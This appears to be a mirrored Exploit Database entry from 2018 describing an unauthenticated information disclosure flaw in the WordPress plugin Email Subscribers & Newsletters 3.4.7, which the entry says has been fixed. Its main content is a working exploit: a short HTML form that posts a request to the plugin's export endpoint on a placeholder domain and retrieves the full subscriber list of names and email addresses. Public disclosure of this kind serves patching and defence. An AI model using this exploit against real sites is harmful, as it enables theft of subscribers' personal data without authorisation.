WordPress Plugin Email Subscribers & Newsletters 3.4.7 – Information Disclosure

• Exploit Database
• 32 阅读

• 作者： ThreatPress Security
  日期： 2018-01-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43872/

• # Exploit Title: WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure
  # Google Dork:
  # Date: 2018-01-23
  # Exploit Author: ThreatPress Security
  # Vendor Homepage: http://icegram.com/
  # Software Link: https://wordpress.org/plugins/email-subscribers/
  # Version: 3.4.7
  # Tested on: WordPress 4.9.2
  # CVE :
  
  Email Subscribers & Newsletters, a popular WordPress plugin, has just fixed
 the vulnerability that allows an unauthenticated user to download the entire subscriber 
list with names and e-mail addresses.
  
  Exploit:
  
  <form action="http://DOMAINTOTEST.com/?es=export" method="post">
  <input type="text" name="option" value="view_all_subscribers" />
  <input type="submit" value="Exploit" />
  </form>